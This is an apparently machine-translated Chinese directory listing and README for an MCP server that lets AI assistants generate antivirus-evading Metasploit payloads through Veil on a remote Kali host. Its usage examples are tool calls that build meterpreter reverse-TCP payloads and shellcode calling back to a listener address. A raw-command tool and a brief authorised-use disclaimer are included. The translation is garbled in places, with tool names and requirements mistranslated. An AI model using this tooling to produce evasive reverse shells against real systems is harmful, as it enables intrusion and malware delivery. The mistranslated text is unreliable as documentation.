AI导哈

Veil-Evasion MCP 服务器

Veil-Evasion MCP 服务器是一个用于与 Veil Framework 交互的工具，旨在生成绕过常见防病毒解决方案的 Metasploit 负载。

  • by schwarztim
  • JavaScript
  • 本地部署
  • 更新于
在 GitHub 查看 schwarztim/sec-veil-evasion-mcp

使用说明

面纱规避MCP服务器

A. 模型上下文协议（MCP） 用于与交互的服务器 面纱框架 -一种旨在生成绕过常见反病毒解决方案的Metasploit有效载荷的工具。

概述

此MCP服务器使AI助手能够与Veil进行交互以进行安全测试，提供以下工具：

  • 列出可用的有效载荷类型和工具
  • 生成躲避AV的有效载荷
  • 创建自定义外壳代码
  • 管理生成的工件
  • 根据VirusTotal检查有效载荷哈希值（仅哈希值，不上传）

需求

  • Node.js 18岁或以上
  • SSH访问 安装了Veil 3.x的Kali Linux主机
  • 基于SSH密钥的身份验证 为Kali主机配置

安装

# Clone the repository
git clone https://github.com/schwarztim/sec-veil-evasion-mcp.git
cd sec-veil-evasion-mcp

# Install dependencies
npm install

# Build the TypeScript source
npm run build

配置

环境变量

变量 描述 默认值
VEIL_KALI_HOST Kali Linux的SSH主机名 kali
VEIL_PATH 卡利岛上的面纱之路 /usr/share/veil/Veil.py

Claude桌面配置

添加到您的Claude Desktop配置(~/.config/claude/claude_desktop_config.json 在Linux或 ~/Library/Application Support/Claude/claude_desktop_config.json 在macOS上）：

{
  "mcpServers": {
    "veil-evasion": {
      "command": "node",
      "args": ["/path/to/sec-veil-evasion-mcp/dist/index.js"],
      "env": {
        "VEIL_KALI_HOST": "your-kali-hostname",
        "VEIL_PATH": "/usr/share/veil/Veil.py"
      }
    }
  }
}

可用工具

面纱列表工具

列出可用的面纱工具（躲避、军械）。

veil_list_payloads

列出特定工具的所有可用有效载荷。

  • tool （必填）： "Evasion" 或 "Ordnance"

面纱_面纱_信息

获取特定有效载荷的详细信息。

  • tool （必填）： "Evasion" 或 "Ordnance"
  • payload （必填）：有效载荷名称或编号

面纱生成

使用指定选项生成有效载荷。

  • tool （必填）： "Evasion" 或 "Ordnance"
  • payload （必填）：有效载荷名称或编号
  • lhost （必填）：回拨IP地址
  • lport：回调端口（默认值： 4444)
  • output_name：输出文件的基本名称
  • shellcode_method: "msfvenom" 或 "ordnance"
  • msfvenom_payload：MSFVenom有效载荷字符串
  • custom_options：其他有效载荷选项

面纱生成外壳代码

仅使用面纱军械生成外壳代码。

  • payload （必填）：军械有效载荷类型
  • lhost （必填）：回拨IP
  • lport：回调端口（默认值： 4444)
  • encoder：要使用的编码器
  • iterations：编码迭代

面纱_检查_灰烬

对照VirusTotal检查有效载荷哈希（仅哈希，不上传）。

  • file_path （必需）：Kali上有效载荷文件的路径

面纱清洁

清理生成的有效载荷和工件。

  • clean_all：如果为true，则清除所有文件（默认值： true)

veil_list_已生成

列出所有以前生成的有效载荷。

面纱版本

获取Veil框架版本信息。

面纱更新

更新Veil框架。

veil_raw_命令

执行原始Veil命令以进行高级使用。

  • args （必需）：命令行参数

使用示例

列出可用有效载荷

veil_list_payloads { "tool": "Evasion" }

生成反向TCP有效负载

veil_generate {
  "tool": "Evasion",
  "payload": "go/meterpreter/rev_tcp",
  "lhost": "192.168.1.100",
  "lport": 4444,
  "output_name": "test_payload"
}

生成外壳代码

veil_generate_shellcode {
  "payload": "rev_tcp",
  "lhost": "192.168.1.100",
  "lport": 443
}

建筑

┌─────────────────┐     SSH      ┌─────────────────┐
│  Claude/MCP     │──────────────│   Kali Linux    │
│  Client         │              │   + Veil 3.x    │
└─────────────────┘              └─────────────────┘
        │
        ▼
┌─────────────────┐
│  veil-evasion   │
│  MCP Server     │
└─────────────────┘

服务器通过SSH在远程Kali Linux主机上执行Veil命令，允许从任何具有SSH访问权限的系统安全生成有效载荷。

安全通知

此工具仅用于授权渗透测试和安全研究。

  • 在测试您不拥有的系统之前，始终获得适当的书面授权
  • 未经明确许可，不得对系统使用生成的有效载荷
  • 遵守您所在司法管辖区的所有适用法律法规
  • 作者不对误用此工具负责

发展

# Watch mode for development
npm run dev

# Build the project
npm run build

# Run the server
npm start

许可证

MIT许可证-请参阅 许可证 了解详情。

相关项目

贡献

欢迎投稿！请随时提交拉取请求。

  1. 克隆该仓库
  2. 创建功能分支(git checkout -b feature/amazing-feature)
  3. 提交您的更改(git commit -m 'Add some amazing feature')
  4. 推到分支(git push origin feature/amazing-feature)
  5. 打开拉取请求

相关 MCP